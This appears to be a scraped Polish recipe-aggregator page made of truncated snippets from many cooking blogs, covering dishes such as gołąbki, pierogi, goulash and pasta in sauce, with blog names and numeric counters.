dodatkowo możemy przyprawić, posypujemy odsączoną kukurydzą z puszki a na wierzchu układamy brokuły. Sałatka ta najlepiej smakuje z dodatkiem gotowanych jajek na twardo umieszczonych pod warstwą brokułów, obficie polana sosem czosnkowym na który przepis ukaże się w następnym poście. Można ją także używać jako dodatek do obiadu, bardzo dobrze komponuje się z daniami z grilla. Dużą jej zaletą jest możliwość

Tanie przepisy studenckie
PIECZONE BATATY 219

czosnkiem i ziołami. Połowę dodać do batatów i dokładnie wymieszać drugą zaś połową posmarować blaszkę.  Piec ok 30 min.na wierz układając gałązkę rozmarynu. Podawać jako przekąska z sosami lub dodatek do obiadu.  Smacznego

pieprzny smaczek
Makaron penne z boczkiem, brokułem i suszonymi pomidorami w sosie śmietanowym 227

poniedziałek. Wszystko przez wolną środę – 11 listopada. Skoro dzień leniwy to i leniwe danie, które robi się błyskawicznie – makaron penne z boczkiem, brokułem i suszonymi pomidorami w sosie śmietanowym. Bo najprościej = najlepiej ! Cudownego dnia ! Składniki (2-4 porcje): makaron penne pełnoziarnisty 1/2 brokuła 100 g suszonych pomidorów – odsączonych, bez zalewy 150 ml śmietany kremówki

Moja pasja smaku
Kopytka 185

Przepis na kopytka zna chyba większość ludzi mających do czynienia z polską, tradycyjną kuchnią. Jest to uniwersalna propozycja na obiad. Możemy je jako samodzielne danie z sosem lub skwarkami,  ale też są dobrym dodatkiem do gulaszu czy pieczeni.  Ja lubię też dodawać do nich buraczki. A część rodzinki lubi podsmażyć sobie wieczorem nadwyżkę z obiadu ;) Strzeżcie się przed

W kuchni bez szafek
Nigiri sushi z łososiem 213

sushi - 300ml wody - 50 ml sushi su (zaprawa do ryżu) - 200g wędzonego łososia w plasterkach - chrzan wasabi Dodatkowo: - woda z octem ryżowym (do moczenia rąk) - imbir marynowany ( tu przepis ) - sos sojowy Tak jak przy temari sushi – nigiri zaczynamy od przygotowania ryżu . Wsypujemy go do dużej miski i kilka razy zmieniając wodę (2 – 3) płuczemy, aż woda będzie prawie przejrzysta

mojewypiekiinietylko
w zielonym sosie. 154

Makaron spaghetti w "sosie"  z awokado i mleczka kokosowego; borówki  nie mogę doczekać się soboty

More food, love and dreams
Makaron żytni pełnoziarnisty z sosem pomidorowym 195

się wody wrzuć makaron. Międzyczasie na oliwie z oliwek podsmaż cebulę, pokrojoną w piórka oraz boczek. Dodaj pulpy pomidorowej, dosmacz solą i pieprzem. Makaron odcedz. Wyłóż na talerze, dodaj sosu i posyp parmezanem po wierzchu- obficie. Najlepszy byłby jednak ser typu pecorino. Smacznego

Z Kuchni Do Kuchni
Ziemniaki faszerowane 135

małym garnku gotujemy kremówkę i wywar przez 8-10 minut, aż wywar zredukuje się o połowę. Dodajemy sok z cytryny czosnek, bazylię. Masę ziemniaczaną przekładamy do garnka z sosem, mieszamy, dodajemy ser, doprawiamy do smaku. Łyżką nakładamy farsz do wydrążonych połówek. Zapiekamy 10 minut w piekarniku w temperaturze 180st

Gotowanie moimi oczami
Domowe gołąbki 176

Składniki kapusta, 1 główka ryż, 2 woreczki mięso mielone wieprzowe, 500g jajko, 1 sztuka sól, pieprz Składniki na sos przecier pomidorowy 30%, 3 łyżki śmietana 12%, 100ml mąka pszenna, 2 łyżki Przygotowanie Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

Gotowanie moimi oczami
Karkówka w keczupie 257

każdej strony, układamy w żaroodpornym naczyniu i odstawiamy na godzinę do lodówki, żeby przeszło solą. Cebulę drobno siekamy i wraz z majerankiem dodajemy do keczupu, mieszamy. Karkówkę zalewamy przygotowanym sosem. Dusimy w piekarniku pod przykryciem do miękkości około 1,5 godziny w temperaturze 170st

Gotowanie moimi oczami
Sałatka z tortellini 225

rosołową. Tortellini gotujemy w osobnym rondlu w osolonej wodzie. Kurczaka kroimy w kostkę, dodajemy tortellini oraz odsączoną kukurydzę. Majonez mieszamy ze śmietaną, doprawiamy do smaku solą i pieprzem. Zalewamy sosem sałatkę

Gotowanie moimi oczami
Makaron alla bolognese 144

koniec dodajemy koncentrat i jeszcze chwilkę dusimy. Mieszamy śmietanę z mąką i jeśli potrzeba dolewamy odrobinę wody. Wlewamy śmietanę do mięsa, krótko zagotowujemy. Doprawiamy bazylią, pieprzem i solą. Gotowym sosem zalewamy makaron

Gotowanie moimi oczami
Indycze pałki z ziemniaczkami 173

miski, dolewamy olej, wsypujemy zioła prowansalskie, paprykę, czosnek granulowany oraz sól. Wszystko dokładnie mieszamy.  Po godzinie pieczenia pałki przekładamy do naczynia żaroodpornego wraz z powstałym w rękawie sosem, stawiamy z powrotem na blaszkę. Resztę blachy wykładamy papierem do pieczenia i wykładamy ziemniaczki. Zapiekamy całość około 40 minut. Na 10 minut przed końcem możemy załączyć termoobieg, aby ziemniaki się nieco

Gotowanie moimi oczami
Kurczak w sosie kokosowo-brokułowym 161

dorzucamy różyczki brokuła oraz posiekaną bazylię. Całość przykrywamy i dusimy na małym ogniu około 20 minut, aż mięso będzie miękkie. Skrobię kukurydzianą rozrabiamy w odrobinie wody i zagęszczamy sos. Jeśli to konieczne doprawiamy solą i pieprzem

Gotowanie moimi oczami
Zapiekane naleśniki z mięsem 189

marchewka, 2 średnie szt pietruszka, 1 mała szt seler, 1 b.mała szt cebula, 1 duża szt olej, do smażenia sól, pieprz oregano tymianek jajko, 1 szt Składniki na sos mleko, 200ml jajka, 2 szt sól, pieprz ser żółty, 100g Przygotowanie Wszystkie składniki na naleśniki dokładnie miksujemy ze sobą. Smażymy naleśniki na dużej patelni, studzimy. Marchewkę, pietruszkę i seler obieramy

Gotowanie moimi oczami
Gyros domowy w chlebku pita 177

kurczaka, 1 cały przyprawa gyros, 1 opak lub po 1/2 łyżeczki papryki słodkiej, pieprzu ziołowego, pieprzu czarnego, curry, bazylii, oregano, tymianku sól, 1/2 łyżeczki olej, do smażenia Składniki na sos jogurt naturalny, 200g czosnek, 4-5 ząbków sok z cytryny, 2-3 łyżeczki sól, pieprz Przygotowanie Drożdże rozpuszczamy w letniej wodzie, dodajemy połowę cukru i odstawiamy na 10 minut

Gotowanie moimi oczami
Tortellini w sosie serowym 171

osobnym rondlu podgrzewamy mleko, śmietanę i serek topiony, aż do połączenia składników. Dodajemy cebulkę z papryką, boczek i kurkumę. Doprawiamy do smaku solą i i pieprzem. Tortellini podajemy z sosem, posypujemy posiekaną natką pietruszki

Gotowanie moimi oczami
Udka kurczaka zapiekane z ziemniakami 187

żaroodpornym układamy udka z kurczaka, pomiędzy układamy ziemniaki z cebulą (wraz z marynatą). Na wierzch układamy gałązki bazylii. Pieczemy przez około godzinę, od czasu do czasu polewając mięso powstałym sosem

Gotowanie moimi oczami
kurki w słonej zalewie 175

zimę do sosów lub jajecznicy Składniki  ok. 2 kg kurek zalewa  sól i woda  Sposób przygotowania Kurki oczyścić, dobrze umyć i gotować ok. 15 minut, wystudzić.  Zalewa:  Na każdy litr wody dodać łyżkę soli ( na tą ilość ja robiłam zalewę z 1,5 litra ) Kurki przełożyć do słoików, zalać wcześniej przygotowaną zalewą, zakręcić. Pasteryzować

Darcia w kuchni
bitki w sosie jarzynowym 156

tarkować na tarce o dużych oczkach. Podsmażyć na patelni : najpierw cebula, a gdy się zeszkli dodać resztę warzyw. Dodać do podduszonego mięsa i razem dusić jeszcze ok. 20 minut. Sos doprawić do smaku , zagęścić zawiesiną. Bitki podawać z ryżem lub ziemniakami

Darcia w kuchni
Kluski śląskie 165

Kluski śląskie, kiedyś dość często gościły na moim stole. Podawałam je do mięs w sosie : zrazów czy bitek. Te zrobiłam z podsmażoną cebulką - były wyśmienite. Składniki : ziemniaki np. 1,5 kg mąka ziemniaczana Sposób wykonania: Ziemniaki umyć obrać i ugotować. Przestudzić, zmielić na maszynce o małych oczkach. Wyłożyć do miski. Podzielić na 4 części. Z jednej części wybrać ziemniaki

Darcia w kuchni
Przecier pomidorowy 148

Taki przecier zawsze robię z przejrzałych pomidorków. Do czego go używam? Do zup, sosów. Do picia, gdy jest dobrze schłodzony i doprawiony. Składniki: pomidory np.4-5 kg sól, pieprz i cukier do smaku. Sposób wykonania: Pomidory umyć, pokroić na mniejsze cząstki. Przełożyć do garnka i gotować na wolnym ogniu aż się rozpadną.( zrobi się miazga ). Przetrzeć przez sito. Zagotować, doprawić

Darcia w kuchni
KOTLETY ZIEMNIACZANE Z FARSZEM JAJECZNYM 172

równych części. Każdą część spłaszczyć, na środek położyć pastę jajeczną,  złożyć i formować kotlety. Obtoczyć w bułce tartej. Smażyć na rozgrzanym tłuszczu , na rumiano.  Można podawać z sosem

Darcia w kuchni
Gołąbki ( z miesem i ryżem ) 332

gołąbki. Zalać wodą od parzenia kapusty. Dodać liść laurowy, ziele angielskie, wegetę. Przykryć liściem od kapusty. Lekko przycisnąć talerzem. Gotować na wolnym ogniu około 1,5 godziny. Podawać z sosem pomidorowym

Darcia w kuchni
ROLADKI DROBIOWE Z FETĄ I SZPINAKIEM 204

rosołową. Dusić około 20 minut. Wyłożyć roladki. Do wody z roladek włożyć 2 serki topione pokrojone w kosteczkę. na wolnym ogniu gotować aż się rozpuszczą. Następnie dodać śmietanę. Jeżeli sos nie będzie gesty można dodać 2 łyżki mąki ( rozpuścić je należy w niewielkiej ilości wody ). Należy jednak pamiętać że sosik serowy zgęstnieje gdy lekko ostygnie

Darcia w kuchni
Kotlety sojowe w pomidorowym sosie 159

minut ). Wyciągnąć. Cebulkę obrać, pokroić w piórka podsmażyć na patelni i zalać wywarem z gotowania kotletów. Wszystko razem poddusić , dodać przecier pomidorowy, sól i pieprz do smaku. Zagotować. Gorącym sosem zalać kotlety. Odstawić do wystygnięcia

Darcia w kuchni
Pierogi z kapustą i grzybami 169

barszczykiem, smażone, z sosem grzybowym, czy z masełkiem  . . . . . Składniki: farsz: 1 kg kapusty kiszonej 1 00 g grzybów suszonych 2 cebule sól, pieprz wegeta olej c iasto na pierogi: 60 dag mąki do 1 kg 1 jajko ciepła woda olej Sposób wykonania: Farsz : Umyte grzyby namoczyć w niewielkiej ilości wody, ugotować, odcedzić i zmielić na dużych oczkach.. Kapustę

Darcia w kuchni
Gołąbki z włoskiej kapusty 138

ciasno gołąbki. Zalać wodą od parzenia kapusty. Dodać liść laurowy, ziele angielskie, wegetę. Przykryć liściem od kapusty. Lekko przycisnąć talerzem. Gotować na wolnym ogniu około 40 minut. Podawać z sosem pomidorowym

Darcia w kuchni
gulasz pomorski 136

obrałam, pokroiłam w piórka, podsmażyłam. Gdy już mięso było prawie miękkie dodałam podsmażoną cebulę i kiełbasę dusiłam jeszcze około 5 minut. Następnie dodałam pokrojonego ogórka, jeszcze przez chwilę gotowałam. Sos doprawiłam pieprzem, solą, ostrą papryką, musztardą, zagęściłam zawiesiną z mąki i wody. Na koniec dodałam fasolkę szparagową, pokrojoną na mniejsze kawałki, zagotowałam

Darcia w kuchni
GULASZ DROBIOWY Z KURKAMI 167

pokrojoną w paski pierś drobiową, podsmażyć. Całość zalać szklanką bulionu drobiowego, gotować ok 15 minut z zielem angielskim, liściem laurowym i kolorowym pieprzem, dodać śmietanę, sól, pieprz do smaku. (Sos można zagęścić łyżką mąki ale niekoniecznie.) Podawać z ryżem, makaronem, lub ziemniakami

Darcia w kuchni
karkówka duszona w piwie 168

odrobinie oleju, dodałam do karkówki. Wszystko podlałam szklanką piwa ( dodałam też 1/2 szklanki wody ), dusiłam pod przykryciem z dodatkiem listka laurowego i ziela angielskiego aż do miękkości karkówki. Sos doprawiłam do smaku, zaciągnęłam łyżką mąki

Darcia w kuchni
Gołąbki z kaszą gryczaną 214

liść kapusty dałam około 2 łyżki farszu. Ciasno zwinęłam u ułożyłam w garnku. Swoje gołąbki zalałam wodą z dodatkiem suszonych grzybów. Gotowałam przez około 1 godzinę. Gołąbki podawałam z sosem mięsnym

Darcia w kuchni
Roladki z karkówki 198

pszennej. Przełożyć do garnka, podsmażyć pozostałą cebulkę, dodać do zrazów. Całość zalać wodą, dodać liść laurowy, ziele angielskie i przyprawy. Gotować przez ok. 1 godzinę ( do miękkości mięsa ), wyciągnąć. Sos zagęścić mąką rozrobioną z wodą. Doprawić do smaku wg. uznania. Osobiście doprawiam solą, pieprzem, majerankiem i odrobiną musztardy. Przed podaniem ściągnąć nici z roladek

Darcia w kuchni
Pierogi z kaszą gryczaną i grzybami 196

ciasta krążki, układałam na nich farsz a następnie sklejałam. Do gotującej, osolonej wody wkładałam pierogi. Gotowałam ok. 2 - 3 min od wypłynięcia. ( miękkość ciasta sprawdzałam palcem ) Podałam z sosem grzybowym

Darcia w kuchni
Makaron w sosie serowo - kurkowym 157

mieszając raz po raz doprowadziłam do rozpuszczenia serka. Do smaku dałam tylko pieprz, gdyż mój rosołek okazał się dosyć słony. Makaron ugotowałam według przepisu na opakowaniu, odcedziłam, dodałam do sosu i dokładnie wymieszałam. Rozłożyłam na talerze wierzch posypałam natką pietruszki

Darcia w kuchni
Szczupak w śmietanie 142

naczynia. Cebulkę obrałam, pokroiłam w drobną kostkę, zeszkliłam. Do garnuszka wlałam szklankę bulionu , dodałam zeszkloną cebulkę, i na koniec śmietanę. Dokładnie wymieszałam, żeby śmietana nie zważyła się. Tak przygotowanym sosem polałam szczupaka. Piekłam w temperaturze 180 stopni przez 15 minut

Darcia w kuchni
Zupa rybna ze szczupaka 164

średnia marchewka kawałek selera 2 ząbki czosnku 2 liście laurowe 2 ziela angielskie kilka ziarenek pieprzu sól  2 litry 330 ml wody 125 ml śmietanki do zup i sosów żółtko Sposób wykonania: Rybę umyłam pod bieżącą wodą pokroiłam w dzwonka. Zalałam wodą ( 2 litry 330 ml ) zagotowałam, zdjęłam szumy. Gotowałam przez 30 minut na wolnym ogniu z dodatkiem przypraw

Darcia w kuchni
Brokuł z jajkiem i sosem czosnkowym 160

Kulinarny karnet Christophera ) Brokuł pokroiłam w różyczki , ugotowałam w osolonej wodzie z dodatkiem łyżki cukru ( 2-3 minuty od zagotowania, żeby nie był za miękki )odcedziłam pozostawiłam do wystygnięcia. Sos: Do jogurtu naturalnego dodałam majonez, przeciśnięty przez praskę czosnek, dokładnie wymieszałam doprawiając do smaku solą, pieprze, i suszoną pietruszką. Na talerzu naprzemiennie układałam różyczki brokuła, z pokrojonym jajkiem. Udekorowałam rzodkiewką

Darcia w kuchni
KACZKA PIECZONA Z MIGDAŁAMI MORELAMI I ŻURAWINĄ 142

wykałaczkami, resztę owoców ułożyłam na kaczce i po brzegach. Podlałam 1/2 szklanki wody. Piekłam w temperaturze 200 stopni pierwszą godzinę pod przykryciem , następne 1,5 godziny odkrytą polewając wytworzonym sosem. Podawałam z pieczonymi ziemniaczkami. Tak wyglądała w przekroju

Darcia w kuchni
Kaczka faszerowana kaszą gryczaną 175

pokrywką. Włożyłam do nagrzanego piekarnika do temp. 200 stopni. Piekłam przez około 30 minut. Zmniejszyłam temp do 180 stopni i piekłam przez następne 2 godziny co jakiś czas podlewając sosem który się wytworzył i gorącą wodą ( u mnie 1 szklanka ). 30 minut przed końcem pieczenia zdjęłam pokrywkę żeby skórka kaczki mogła się przyrumienić. Upieczoną kaczkę przecięłam na pół. Kaszę przełożyłam

Darcia w kuchni
spaghetti z wędzonymi małżami 229

czosnkiem i papryczką chili, dodać pomidory z puszki, zagotować, dodać małże. Doprawić solą i pieprzem. Odstawić na chwilę żeby smaki się przegryzły. Makaron ugotować al dente, wymieszać z sosem. Podawać posypany natką pietruszki

Darcia w kuchni
grzyby w słoikach na zimę 201

Doskonała alternatywa na zimę. Wystarczy otworzyć słoik, grzybki opłukać na durszlaku, podsmażyć na patelni z cebulką i jajkiem. Można je także wykorzystać do sosu, pizzy, zapiekanek, kotletów. Składniki: dowolna ilość grzybków sól Sposób wykonania: Grzybki oczyścić, pokroić na mniejsze kawałki, dobrze opłukać  ( 2-3 razy ). Przełożyć do garnka. Gotować w osolonej wodzie przez 15 minut czas mierząc od zagotowania

Darcia w kuchni
Pieczeń wieprzowo-wołowa z suszonymi pomidorami, papryką i cieciorką z puszki 164

uważam to danie za zdrowe? Przede wszystkim dlatego, że taka pieczeń to idealny dodatek do kanapek - a co może być zdrowszego od domowej wędliny? Możemy też zaserwować ją z sosem i dodatkami jako danie obiadowe. Tłuszcz, który wytopi się podczas pieczenia odlewamy - w rezultacie w pieczeni jest do naprawdę niewielka ilość. Domownicy, a w szczególności mój Mąż, uznali, że jest

Kolorowy Przepisownik
Żeberka w sosie z grzybów leśnych 302

Mięciutkie żeberka wieprzowe w aromatycznym sosie z grzybów leśnych. Długo duszone, co sprawia, że mięso z łatwością odchodzi od kości. Do tego dania warto wybrać mięsne i nietłuste żeberka. S KŁADNIKI: 1 kg żeberek wieprzowych sól pieprz czarny ok 5 ziaren ziela angielskiego 2 liście laurowe 1 cebula 400ml grzybów leśnych 1 łyżka mąki 1/3 szklanki śmietanki 30% smalec Żeberka

https:KKuchniaMniam
Paluszki polentowe 163

godzinach pokroić polentę na paluszki. Obsmażać z obu stron na rozgrzanym oleju. Paluszki podawać z surówkami lub sałatkami, np. z sałatką z makreli i warzywami . Można też podgrzać w sosie pomidorowym. Dopiero co ugotowana polenta może być podana jak puree z ziemniaków. ----- Podobne

Weekendy w domu i ogrodzie
Tarta z porami 238

Bardzo ciekawa tarta wytrawna a w zasadzie quiche. Lekko podsmażone pory na maśle zalane gęstym sosem śmietanowo - jajeczno - serowym na kruchym cieście a wszystko to pod cienką skorupką zapieczonego sera. Smakuje doskonale zarówno na ciepło jak i na zimno

Milion Smaków
Sałatka z brokułem i pieczonymi ziemniakami 239

Ogórka kroimy w talarki, paprykę w paseczki, cebulę w piórka. Dwie łyżki oliwy mieszamy z octem, musztardą, czosnkiem przeciśniętym przez praskę i przyprawami. Wszystkie składniki mieszamy z tak przygotowanym sosem

e-PrzepisyKulinarne
Chutney z zielonych pomidorów 190

Przełożyć gorący chutney do słoików. Szczelnie je zamknąć i pozwolić, by powoli stygły. Przechowywać np. w dolnej ciemnej szafce kuchennej. A tak wyglądały krzaki pomidorów 2 tygodnie temu: ------- Podobne: Sos imbirowo-śliwkowy Chutney dyniowo-śliwkowy Ogórki z papryką i imbirem

Weekendy w domu i ogrodzie
Kasza gryczana z warzywami w curry 233

Kasza gryczana zawsze kojarzyła mi się z mięsnym sosem. Tylko w takiej formie zapamiętałam ją z dzieciństwa. I szczerze mówiąc nigdy nie należała do moich ulubionych potraw, zawsze jej smak mnie trochę odstraszał. Po latach jednak coś się zmieniło i teraz mogłabym się nią ciągle zajadać. I dobrze, bo to jedna z najbardziej wartościowych kasz, bogata w białko, witaminy

Powiedz dietom nie
Zapiekanka z piersi indyka, ziemniaków i cukini 214

Pyszne danie, uwielbiam takie zapiekanki. Wszystko w jednym, zarówna warzywa jak i mięsko. Użyjcie trochę wyższego naczynia do zapiekania, ponieważ podczas pieczenia wytworzy się dosyć dużo sosu. Piersi z indyka pociąć na mniejsze kawałki, lekko rozbić. Doprawić solą, pieprzem, obsypać papryką słodką, pieprzem cayenne, oregano. Odstawić na 15 minut. Ziemniaki obrać, pokroić na bardzo cienkie plasterki. Cukinię umyć i również

Kuchnia Pokoleń
Roladki z indyka z rukolą 279

układamy na blaszce i wsuwamy do nagrzanego piekarnika do 180 st. C  i pieczemy ok 20-30 min. Gotową mieszankę sałat Party układamy na talerzach, polewamy ulubionym sosem i układamy gotowe przekrojone roladki

Malinowe Pocałunki
Pierś z gęsi pieczona na jabłkach 197

Przykrywamy i wstawiamy do piekarnika nagrzanego do 200 stopni na 40 minut. Zmniejszamy piekarnik na 180 stopni i pieczemy przez kolejne 25 minut, od czasu do czasu polewając wytworzonym sosem. Następnie zdejmujemy przykrywkę, zmniejszamy temperaturę do 160 stopni i pieczemy jeszcze przez około 20 minut.  Upieczone mięso odłączamy od kości. Piersi kroimy w plastry, podajemy z jabłkami i ulubionymi

Moje Kuchenne Rewelacje
Zapiekanka z ziemniakami, brokułem i skrzydełkami z kurczaka 420

plasterki. 3. Brokuła gotuję na półtwardo w osolonej wodzie. Wyjmuję i dzielę na różyczki.  4. W naczyniu żaroodpornym układam naprzemiennie porcję ziemniaków, brokuła i skrzydełka. Całość polewam sosem powstałym z pieczenia skrzydełek.  5. Ser ścieram na tarce o dużych oczkach. Mieszam ze śmietaną, solą i pieprzem. Masę wykładam na wierzch zapiekanki. Piekę około 30 minut w temperaturze

Tradycyjna kuchnia Kasi
Czekoladowe ciasto cukiniowe z cynamonem, Maxi Pizza 210

wyboru ciasto cienkie lub grube, dużo dodatków (w miarę równomiernie rozłożonych) i oliwa podawana do pizzy. Mój faworyt: promocyjna ze szpinakiem lub rukolą, niebieskim serem i pomidorami. Nie polecam sosów (ogólnie nie jestem ich fanką jako dodatku do pizzy). Chocolate zucchini cake with cinnamon A delicious vegan cake from Weganon . My small changes: less sugar, more cacao and zucchini

Qlinarnie i Qlinarnie
Schab z kalafiorem w pomidorowym sosie z curry 238

Proponujemy schab w ciekawej oprawie - z kalafiorem, w sosie curry z surówką z kiszonych ogórków z jabłkiem.     Składniki: -ok. 0,8 kg schabu bez kości -kalafior -cebula -500 ml przecieru pomidorowego -sól, pieprz, curry -czosnek niedźwiedzi -kilka łyżek oleju -łyżka masła -surówka z kiszonych ogórków z jabłkiem Schab myjemy, osuszamy i nacinamy z jednej strony, pozostawiając z drugiej

Maminek kulinarny
Porowo-brokułowa zapiekanka makaronowa 205

minucie. Do gotującej się wody wsypujemy makaron. Gotujemy 2 min. Dodajemy brokuła podzielonego na różyczki. Gotujemy jeszcze przez minutę. Odcedzamy. Makaron z brokułem odcedzamy. Wsypujemy do naczynia żaroodpornego. Dodajemy sos z pieczarek i pora. Mieszamy. Zapiekamy przez 15 min w temperaturze 200 stopni

Weganka gotuje
Rolowane mięso mielone w panierce z czosnku niedźwiedziego nadziewane serem 262

centymetrów od brzegu powinny znaleźć się słupki sera. Całość zwijamy ściśle, jak sushi. Obtaczamy w czosnku niedźwiedzim.  Smażymy na niewielkiej ilości oleju lub grillujemy. Podajemy z sosem czosnkowym ( klik! ).  Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
szczupak w sosie koperkowym 134

Polecam szczupaka w sosie śmietanowo-koperkowym Produkty

Ugotujmy Coś
Stripsy/ skrzydełka a’la KFC 191

powiem Wam, że smakiem i wyglądem przypominają te, które możemy kupić. Jeżeli ktoś lubi ostrzejsze to można zwiększyć ilość pieprzu i ostrej papryki. Idealnie pasują do frytek i sosu czosnkowego, jak również są pyszne z samą surówką. Zapraszam!!!!   Składniki: 60 dag skrzydełek, 60 dag piersi z kurczaka, 2 łyżeczki pieprzu Cayenne, 1,5 łyżeczki soli, 1 łyżeczka słodkiej papryki

Passion of Cooking
Rozgrzewająca zupa pomidorowa z tymiankiem 197

wiecie jak - piszcie, na pewno stworzę taki post ;) Jako pierwszy zestaw proponuję:  zupę pomidorową z tymiankiem (cz. I)  naleśniki kukurydziane zapiekane z kurczakiem i szpinakiem w sosie jogurtowym (cz. II) pierogi mięsne z dynią i pietruszką (cz.III) Sposobów na zupę pomidorową jest całe mnóstwo, a myślę nawet, że każdy ma swój ;) Moim ulubionym jest ten, przygotowany na bazie

aa-kuku - czyli jak żyć zdrowo i pysznie!
Upieczony obiad - pierś z kaczki i ziemniaczki 185

sposób! Upieczony obiad - pierś z kaczki i ziemniaczki    Przygotowanie dania rozpoczynamy od marynowania piersi z kaczki. Składniki: 2 piersi z kaczki marynata: 3 łyżki miodu 2 łyżki sosu sojowego 1 łyżka octu jabłkowego 1 łyżeczka musztardy sarepskiej 1 łyżka tymianku szczypta soli i pieprzu ziołowego Wszystkie składniki mieszamy ze sobą, a następnie dodajemy piersi z kaczki (skórkę nacinamy

aa-kuku - czyli jak żyć zdrowo i pysznie!
Domowy eliksir zdrowia 2760

zdradliwa i sprzyja wszelkim infekcjom, ale przez cały rok. Wiosną i latem nasz organizm również potrzebuje wsparcia i wzmocnienia. Eliksir jest nie tylko lekarstwem, ale także świetnym dodatkiem do sosów, sałatek, czy mięs! Domowy eliksir zdrowia Przygotowanie eliksiru jest banalnie proste! Sami zobaczcie ;) Składniki: 500 ml oleju lnianego Oleofarm   500 ml miodu (ja użyłam wielokwiatowego) 5 cytryn

aa-kuku - czyli jak żyć zdrowo i pysznie!
Gulasz z sarny 202

owoce jałowca, lekko pieprzymy. Podlewamy 1/4 szklanki wody i całość dusimy, aż mięso będzie mięciutkie, co jakiś czas na przemian podlewając winem i wodą.   Sos który powstanie nam w mięsie przecieramy przez sitko i polewamy nim mięso.     SMACZNEGO

Lili w kuchni
Wielki klops na kanapki – pyszna wędlinka 997

samo . Mój wielki klops , to po prostu pyszny , mielony gigant , pieczony w piekarniku , dzięki czemu uzyskuje wspaniałą skorupkę i niebiańsko smakuje na zimno do kanapeczek z majonezikiem lub sosem chrzanowym…mniam . Polecam , naprawdę fajna i prosta potrawa na ciepło – wędlinka ,na zimno Składniki : 1 kg mięsa mielonego z łopatki wieprzowej 1/2 szklanki tartej bułki 2 średnie cebule sól

Ogrodnik w podróży
Makaron z krewetkami i pesto z orzechów brazylijskich 152

prosto z Asyżu, najdłuższe jakie jadłam, nie mieściło mi się w żadnej szafce;-), z dodatkiem pesto ze świeżej bazylii, oliwy z oliwek i orzechów brazylijskich, podane z krewetkami w sosie limonkowym. Pychota !  przepis KLIK

SMYKWKUCHNI
Królik w winie z rozmarynem i szafranem 241

szafran. Dusić ok godzinę aż mięso będzie miękkie. Mięso wyjąć, warzywa zmiksować i dodać śmietanę, ponownie zagotować. Ja podałam królika z pęczakiem i surówką z białej kapusty, wszystko polane sosem

Gotowanie jest łatwe
Ryż na mleku kokosowym z pomarańczami. 139

skórki, pokroić na małe fileciki usuwając białą skórkę. (jeśli zostanie pomarańcze będą gorzkie) Na patelnie wrzucamy pomarańcze, wsypujemy cukier i chwile smażymy do momentu aż cukier się rozpuści a sos lekko zgęstnieje. Ryż nakładać gałką do ziemniaków do pucharków, na wierzchu ułożyć kilka filecików pomarańczy z syropem i posypać posiekanymi orzechami. Orzechy można pominąć. Smacznego

Radość kipiąca uśmiechem.
Kluski śląskie z zielonym groszkiem, szpinakiem i skórką cytryny 181

Odważyłam się podać kluski śląskie  - specjał kuchni śląskiej z nietypowym połączeniem: groszkiem, szpinakiem, skórką z cytryny i parmezanem. Wiecie dlaczego? Bo nie udało mi się kupić pieczarek do sosu. Jedyne co zastałam w sklepie co można byłoby połączyć z kluseczkami były te produkty. Miałam już przeciśnięte ziemniaki musiało się udać. 1 kg ziemniaków, 1 szklanka mąki ziemniaczanej, 1 łyżeczka

AZgotuj!
Tarta gruszkowa z migdałami 173

niecoś do kawy. Tarta gruszkowa z migdałami to typowe ciasto dla tej pory roku. Tarta z owocami i migdałami smakuje cudownie na ciepło z lodami lub zimno z waniliowym sosem. Tarta gruszkowa z migdałami Składniki: okrągła forma o średnicy 30 cm Spód do tarty 225 g mąki 180 g masła zimnego 90 g cukru otarta skórka z jednej cytryny

codojedzenia
Mięso mielone na pomidorową nutę 173

Mało czasu na przygotowanie potrawy? Te danie przygotowałam bardzo szybko a było przepyszne. Smakuje t rochę jak spaghetti, ale nie do końca, bo nie jest to przecież sos i moim zdaniem maka ron nie byłby do niego dobrym dodatkiem . To danie, które nie wymaga dużych nak ładów pracy i środków. W sam raz na obiad w środku tygodnia

Szefowa kuchni
Dietetyczna ratatuja, RATATOUILLE 172

papryki 2 bakłażany 1 łyżka posiekanych ziół pieprz do smaku sól czosnkowa do smaku Wykonanie: Warzywa umyć, oczyścić, pokroić, przyprawić do smaku, zalać odrobiną wody i udusić we własnym sosie na wolnym ogniu pod przykryciem

Tradycyjna Kuchnia
Przepyszne muffinki z daktylami i bananem 159

Przepyszne muffinki, lekko wilgotne w środku z pysznym bananem i sosem toffi. Wykonanie w thermomix na dole.   Do foremek do muffinek wlać syrop cukrowy i wsypać trochę cukru brązowego. Syropu cukrowego około 1/2 łyżeczki. Odstawić. Usunąć pestki z daktyli i pokroić je drobno. Do garnuszka wlać wodę i dodać daktyle, zagotować. Zmniejszyć gaz i gotować 10 minut. odstawić

Kuchnia Pokoleń
Wilgotne ciasto 'Kokos i czekolada" 167

ótko zmiksować. Wymieszać z wiórkami. Krem wyłożyć na ciasto i rozprowadzić. Schłodzić. Polewa 100 g gorzkiej czekolady 40 g masła Masło rozpuścić z czekoladą i wymieszać do powstania gładkiego sosu. Wylać na schłodzone ciasto. Smacznego

Chocolate Muffin Blog
pikantna pieczona szynka 260

podczas pieczenia. Umożliwia on pieczeni, wchłonięcie z powrotem soków, które z niej wypłynęły w trakcie pieczenia. Teraz możemy wyjąć pieczeń z piekarnika i podać ją na gorąco, podlewając porcje sosem z pieczenia ( najlepiej połączonym z masłem i słodką śmietaną), lub na zimno

Miód i pieprz
Potrawka z indyka z brukselką 205

minut. Śmietanę mieszamy z sola i pieprzem w miseczce i powoli dodajemy ją do mięsa. Delikatnie mieszamy. Bazylie myjemy i drobno siekamy, łącząc przy podaniu z sosem. Ryż gotujemy zgodnie z instrukcją na opakowaniu. Brukselkę myjemy, usuwamy zewnętrzne (te odstające), odcinamy końcówkę i z drugiej strony nacinamy nożem krzyżyk, aby szybciej się ugotowała. Do garnka wlewamy wodę i zagotowujemy

ChilliJemy
Sałatka z pomelo i kurczakiem. Na kolację bez chleba. Kolorowo i sycąco. Po prostu pycha 486

